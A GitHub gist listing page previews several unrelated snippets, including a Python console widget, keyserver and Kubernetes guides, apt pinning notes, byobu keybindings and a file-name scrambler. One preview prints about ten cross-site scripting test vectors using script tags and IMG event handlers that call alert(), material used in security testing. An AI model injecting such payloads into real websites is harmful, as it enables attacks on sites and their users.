Skip to content

Instantly share code, notes, and snippets.

@olisolomons
olisolomons / python_console.py
Last active September 18, 2025 07:11
Python interpreter console tkinter widget
import code
import hashlib
import queue
import sys
import threading
import tkinter as tk
import traceback
from tkinter.scrolledtext import ScrolledText
@mattrude
mattrude / Building-a-SKS-Keyserver.md
Last active April 12, 2025 16:16
Building a SKS Keyserver on Ubuntu 18.04 LTS

A Key Server is used to distribute PGP/GPG keys between different users. One of the most popular key servers for use with pgp/gpg is the sks keyserver. This document will walk you through downloading, installing, and setting up a sks keyserver on Ubuntu 18.04 LTS.

Building your own PGP SKS Server

Building a SKS server is a pretty straight forward project if you are use to running servers.

To build a production SKS Server, you must...

@alexellis
alexellis / k8s-pi.md
Last active June 28, 2025 05:44
K8s on Raspbian
@kurobeats
kurobeats / xss_vectors.txt
Last active November 2, 2025 11:44
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@JPvRiel
JPvRiel / apt_pinning_priorities.md
Last active June 14, 2025 22:33
Apt package pinning and priorities
Byobu is a suite of enhancements to tmux, as a command line
tool providing live system status, dynamic window management,
and some convenient keybindings:
F1 * Used by X11 *
Shift-F1 Display this help
F2 Create a new window
Shift-F2 Create a horizontal split
Ctrl-F2 Create a vertical split
Ctrl-Shift-F2 Create a new session
@SavinaRoja
SavinaRoja / scrambler.py
Last active August 16, 2024 11:16
Scrambler - is a small commandline script made to randomize file names. It stores a log of all the file renaming events which it later uses to unscramble the names.
#!/usr/bin/env python
"""
Scrambler is a small commandline script made to randomize file names. It stores
a log of all the file renaming events which it later uses to unscramble the
names. This script may not guard against intentional dishonesty, but it does
protect one from unconscious bias.
All of the matching options may be used simultaneously, but only files which
satisfy each restriction will be scrambled (the intersection of each match set).